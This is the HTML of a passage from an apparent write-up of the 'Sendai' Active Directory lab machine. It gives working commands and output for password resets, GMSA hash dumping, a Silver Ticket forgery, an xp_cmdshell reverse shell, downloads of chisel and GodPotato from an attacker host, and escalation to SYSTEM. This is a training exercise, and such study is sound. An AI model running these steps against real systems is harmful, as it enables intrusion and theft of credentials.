1128: SENDAI&lt;span class="se"&gt;\c&lt;/span&gt;a-operators &lt;span class="o"&gt;(&lt;/span&gt;SidTypeGroup&lt;span class="o"&gt;)&lt;/span&gt;
1129: SENDAI&lt;span class="se"&gt;\a&lt;/span&gt;dmsvc &lt;span class="o"&gt;(&lt;/span&gt;SidTypeGroup&lt;span class="o"&gt;)&lt;/span&gt;
1130: SENDAI&lt;span class="se"&gt;\m&lt;/span&gt;gtsvc&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;SidTypeUser&lt;span class="o"&gt;)&lt;/span&gt;   ← GMSA account
1131: SENDAI&lt;span class="se"&gt;\s&lt;/span&gt;upport &lt;span class="o"&gt;(&lt;/span&gt;SidTypeGroup&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the &lt;code&gt;mgtsvc$&lt;/code&gt; account (the &lt;code&gt;$&lt;/code&gt; suffix means it's a Group Managed Service Account) and the &lt;code&gt;admsvc&lt;/code&gt; and &lt;code&gt;support&lt;/code&gt; groups — these will matter later. We parse out just the users:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'guest'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;--rid-brute&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"SidTypeUser"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;'\\'&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; users.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Spidering the Shares
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'guest'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-M&lt;/span&gt; spider_plus
&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.nxc/modules/nxc_spider_plus/10.129.234.66.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The interesting files in the &lt;code&gt;sendai&lt;/code&gt; share:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sendai/incident.txt        (1.34 KB)
sendai/it/Bginfo64.exe     (2.65 MB)
sendai/it/PsExec64.exe     (813 KB)
sendai/security/guidelines.txt  (4.43 KB)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We pull them via smbclient and browse everything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient &lt;span class="se"&gt;\\\\&lt;/span&gt;sendai.vl&lt;span class="se"&gt;\\&lt;/span&gt;sendai &lt;span class="nt"&gt;-U&lt;/span&gt; &lt;span class="s1"&gt;'guest%'&lt;/span&gt;
smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; get incident.txt
smb: &lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;transfer
smb: &lt;span class="se"&gt;\t&lt;/span&gt;ransfer&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ls
  &lt;/span&gt;anthony.smith / clifford.davey / elliot.yates / lisa.williams
  susan.harper / temp / thomas.powell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;transfer&lt;/code&gt; share has named folders for several domain users - all empty right now, but it's a good username confirmation. The important file is &lt;code&gt;incident.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;incident.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;...All user accounts with insecure passwords have been expired as a precautionary measure.
This means that affected users will be required to change their passwords upon their next login...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expired passwords - that means some accounts might accept a blank or known password and just require a reset. Time to check.&lt;/p&gt;




&lt;h2&gt;
  
  
  Initial Access - Expired Password Reset
&lt;/h2&gt;

&lt;p&gt;We try authenticating every user from our list with a blank password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;-] sendai.vl&lt;span class="se"&gt;\E&lt;/span&gt;lliot.Yates: STATUS_PASSWORD_MUST_CHANGE
&lt;span class="o"&gt;[&lt;/span&gt;-] sendai.vl&lt;span class="se"&gt;\T&lt;/span&gt;homas.Powell: STATUS_PASSWORD_MUST_CHANGE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;STATUS_PASSWORD_MUST_CHANGE&lt;/code&gt; is different from &lt;code&gt;STATUS_LOGON_FAILURE&lt;/code&gt; — it means the account exists, the blank password was accepted, but it needs to be changed before login is allowed. We can do that with &lt;code&gt;impacket-changepasswd&lt;/code&gt; without knowing the current password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-changepasswd &lt;span class="s1"&gt;'sendai.vl/Elliot.Yates:@10.129.234.66'&lt;/span&gt; &lt;span class="nt"&gt;-newpass&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt;
impacket-changepasswd &lt;span class="s1"&gt;'sendai.vl/Thomas.Powell:@10.129.234.66'&lt;/span&gt; &lt;span class="nt"&gt;-newpass&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Password was changed successfully.  &lt;span class="o"&gt;(&lt;/span&gt;× 2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirming both work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt;
&lt;span class="c"&gt;# [+] sendai.vl\Thomas.Powell:Pass123!&lt;/span&gt;

nxc smb 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; Elliot.Yates &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt;
&lt;span class="c"&gt;# [+] sendai.vl\Elliot.Yates:Pass123!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both users get the same share permissions — including &lt;code&gt;READ,WRITE&lt;/code&gt; on &lt;code&gt;config&lt;/code&gt; and &lt;code&gt;sendai&lt;/code&gt;. Since the permissions look identical, we run BloodHound to figure out which user is actually more useful.&lt;/p&gt;




&lt;h2&gt;
  
  
  BloodHound - Mapping the AD Attack Path
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-d&lt;/span&gt; sendai.vl &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-ns&lt;/span&gt; 10.129.234.66 &lt;span class="nt"&gt;-c&lt;/span&gt; All &lt;span class="nt"&gt;--zip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We import the zip into BloodHound and mark both users as owned. The attack path is clear:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Thomas.Powell / Elliot.Yates
        ↓ MemberOf
    SUPPORT@SENDAI.VL
        ↓ GenericAll
    ADMSVC OU + ADMSVC Group
        ↓ ReadGMSAPassword
    mgtsvc$ (GMSA)
        ↓ MemberOf
    Remote Management Users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmlmavbgyplijmkyx50k3.png%2520align%3D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmlmavbgyplijmkyx50k3.png%2520align%3D" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;BloodHound also shows &lt;code&gt;Thomas.Powell&lt;/code&gt; has &lt;code&gt;Password Not Required: TRUE&lt;/code&gt; - that's why we could reset with a blank password. Both users are in the &lt;code&gt;SUPPORT&lt;/code&gt; group, which has &lt;code&gt;GenericAll&lt;/code&gt; over the &lt;code&gt;ADMSVC&lt;/code&gt; OU and the &lt;code&gt;ADMSVC&lt;/code&gt; group. &lt;code&gt;GenericAll&lt;/code&gt; means full control - we can add members, change attributes, anything. The &lt;code&gt;ADMSVC&lt;/code&gt; group has &lt;code&gt;ReadGMSAPassword&lt;/code&gt; rights over &lt;code&gt;mgtsvc$&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  GMSA Password Dump
&lt;/h2&gt;

&lt;p&gt;We add Thomas.Powell to the &lt;code&gt;ADMSVC&lt;/code&gt; group using bloodyAD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyad &lt;span class="nt"&gt;-H&lt;/span&gt; 10.129.234.66 &lt;span class="nt"&gt;-d&lt;/span&gt; sendai.vl &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  add groupMember AdmSvc Thomas.Powell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Thomas.Powell added to AdmSvc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now as a member of &lt;code&gt;ADMSVC&lt;/code&gt;, we can read the GMSA password. Three ways to do it - all return the same hash:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;bloodyAD:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyad &lt;span class="nt"&gt;-H&lt;/span&gt; 10.129.234.66 &lt;span class="nt"&gt;-d&lt;/span&gt; sendai.vl &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  get search &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="s1"&gt;'(ObjectClass=msDS-GroupManagedServiceAccount)'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--attr&lt;/span&gt; msDs-ManagedPassword
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msDS-ManagedPassword.NT: 04916851945671b02a176029fac231ba
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NetExec:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc ldap 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; Thomas.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Pass123!'&lt;/span&gt; &lt;span class="nt"&gt;--gmsa&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Account: mgtsvc&lt;span class="nv"&gt;$ &lt;/span&gt;   NTLM: 04916851945671b02a176029fac231ba
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;impacket-ntlmrelayx&lt;/strong&gt; (relay Thomas.Powell's creds through a local HTTP server to LDAP — open browser to &lt;code&gt;http://localhost&lt;/code&gt; and log in with Thomas.Powell's creds while the relay is running):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;impacket-ntlmrelayx -t ldap://10.129.234.66 --dump-gmsa --no-da --no-acl --no-validate-privs
# → mgtsvc$:::04916851945671b02a176029fac231ba
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Shell as mgtsvc$ - User Flag
&lt;/h2&gt;

&lt;p&gt;BloodHound confirmed &lt;code&gt;mgtsvc$&lt;/code&gt; is in &lt;code&gt;Remote Management Users&lt;/code&gt;, so WinRM works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc winrm 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'mgtsvc$'&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; 04916851945671b02a176029fac231ba
&lt;span class="c"&gt;# [+] sendai.vl\mgtsvc$:04916851945671b02a176029fac231ba (Pwn3d!)&lt;/span&gt;

evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; 10.129.234.66 &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'mgtsvc$'&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; 04916851945671b02a176029fac231ba
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;type &lt;/span&gt;user.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browsing the filesystem, the &lt;code&gt;config&lt;/code&gt; share we saw earlier maps to &lt;code&gt;C:\config&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\c&lt;/span&gt;onfig&amp;gt; &lt;span class="nb"&gt;type&lt;/span&gt; .sqlconfig
&lt;span class="nv"&gt;Server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dc.sendai.vl,1433&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;Database&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;prod&lt;span class="p"&gt;;&lt;/span&gt;User &lt;span class="nv"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sqlsvc&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;Password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;SurenessBlob85&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SQL credentials for &lt;code&gt;sqlsvc&lt;/code&gt;. Port 1433 is open internally (confirmed with &lt;code&gt;netstat -ano | select-string 1433&lt;/code&gt;) but not reachable from outside.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tunneling to MSSQL with Chisel
&lt;/h2&gt;

&lt;p&gt;We stand up an HTTP server and pull chisel onto the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Kali — start chisel server in reverse mode&lt;/span&gt;
chisel server &lt;span class="nt"&gt;-p&lt;/span&gt; 8000 &lt;span class="nt"&gt;--reverse&lt;/span&gt;

&lt;span class="c"&gt;# Target - download and connect back&lt;/span&gt;
&lt;span class="nb"&gt;mkdir &lt;/span&gt;C:&lt;span class="se"&gt;\t&lt;/span&gt;emp
iwr http://10.10.15.223/chisel.exe &lt;span class="nt"&gt;-OutFile&lt;/span&gt; C:&lt;span class="se"&gt;\t&lt;/span&gt;emp&lt;span class="se"&gt;\c&lt;/span&gt;hisel.exe
.&lt;span class="se"&gt;\c&lt;/span&gt;hisel.exe client 10.10.15.223:8000 R:1433:127.0.0.1:1433
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Kali side&lt;/span&gt;
2026/06/28 21:44:17 client: Connected &lt;span class="o"&gt;(&lt;/span&gt;Latency 252ms&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 1433 is now forwarded to our localhost. Connecting with sqlsvc's password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mssqlclient.py SENDAI/sqlsvc:SurenessBlob85@127.0.0.1 &lt;span class="nt"&gt;-windows-auth&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SQL &lt;span class="o"&gt;(&lt;/span&gt;SENDAI&lt;span class="se"&gt;\s&lt;/span&gt;qlsvc  guest@master&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;select &lt;/span&gt;current_user&lt;span class="p"&gt;;&lt;/span&gt;
guest

SQL&amp;gt; enable_xp_cmdshell
ERROR: User does not have permission to perform this action.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're in as a guest-level user — can't enable &lt;code&gt;xp_cmdshell&lt;/code&gt;, can't do much. We need to escalate within MSSQL.&lt;/p&gt;




&lt;h2&gt;
  
  
  Silver Ticket Attack → MSSQL Admin
&lt;/h2&gt;

&lt;p&gt;BloodHound showed &lt;code&gt;sqlsvc&lt;/code&gt; has a Service Principal Name: &lt;code&gt;MSSQL/dc.sendai.vl&lt;/code&gt;. When a service uses Kerberos, it decrypts tickets with its own NTLM hash - if we know that hash, we can forge a ticket for any user (including Administrator) without touching the KDC at all. That's a Silver Ticket.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwimq2smshj6ynp5hu863.png%2520align%3D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwimq2smshj6ynp5hu863.png%2520align%3D" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We need the NTLM hash of sqlsvc's password and the domain SID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Convert sqlsvc's password to NTLM hash&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"SurenessBlob85"&lt;/span&gt; | iconv &lt;span class="nt"&gt;-t&lt;/span&gt; utf16le | openssl md4
&lt;span class="c"&gt;# → 58655c0b90b2492f84fb46fa78c2d96a&lt;/span&gt;

&lt;span class="c"&gt;# Domain SID was visible in BloodHound: S-1-5-21-3085872742-570972823-736764132&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Forge the ticket as Administrator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ticketer.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-domain-sid&lt;/span&gt; S-1-5-21-3085872742-570972823-736764132 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-nthash&lt;/span&gt; 58655c0b90b2492f84fb46fa78c2d96a &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-domain&lt;/span&gt; sendai.vl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-spn&lt;/span&gt; MSSQL/dc.sendai.vl:1433 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-user-id&lt;/span&gt; 500 Administrator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Saving ticket in Administrator.ccache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Load it and connect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Administrator.ccache

mssqlclient.py sendai.vl/Administrator@dc.sendai.vl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; &lt;span class="nt"&gt;-target-ip&lt;/span&gt; 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;SQL &lt;span class="o"&gt;(&lt;/span&gt;SENDAI&lt;span class="se"&gt;\A&lt;/span&gt;dministrator  dbo@master&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;select &lt;/span&gt;current_user&lt;span class="p"&gt;;&lt;/span&gt;
dbo

SQL&amp;gt; enable_xp_cmdshell
INFO: Configuration option &lt;span class="s1"&gt;'xp_cmdshell'&lt;/span&gt; changed from 0 to 1.

SQL&amp;gt; xp_cmdshell &lt;span class="nb"&gt;whoami
&lt;/span&gt;sendai&lt;span class="se"&gt;\s&lt;/span&gt;qlsvc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're running commands as &lt;code&gt;sqlsvc&lt;/code&gt; through MSSQL. We grab a reverse shell using a base64-encoded PowerShell payload from revshells.com:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;xp_cmdshell&lt;/span&gt; &lt;span class="nv"&gt;"powershell -e JABjAGwA..."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Windows\system32&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sendai\sqlsvc&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation - SeImpersonatePrivilege → SYSTEM
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/priv&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is the classic potato privilege. GodPotato abuses the DCOM activation service to impersonate SYSTEM via a named pipe. We download it and run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;iwr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://10.10.15.223/GodPotato-NET4.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\GodPotato.exe&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\GodPotato.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cmd /c whoami"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5840
nt authority\system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\GodPotato.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cmd /c type C:\Users\Administrator\Desktop\root.txt"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] CurrentUser: NT AUTHORITY\SYSTEM
[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Guest SMB access
        ↓
RID brute → full user list
        ↓
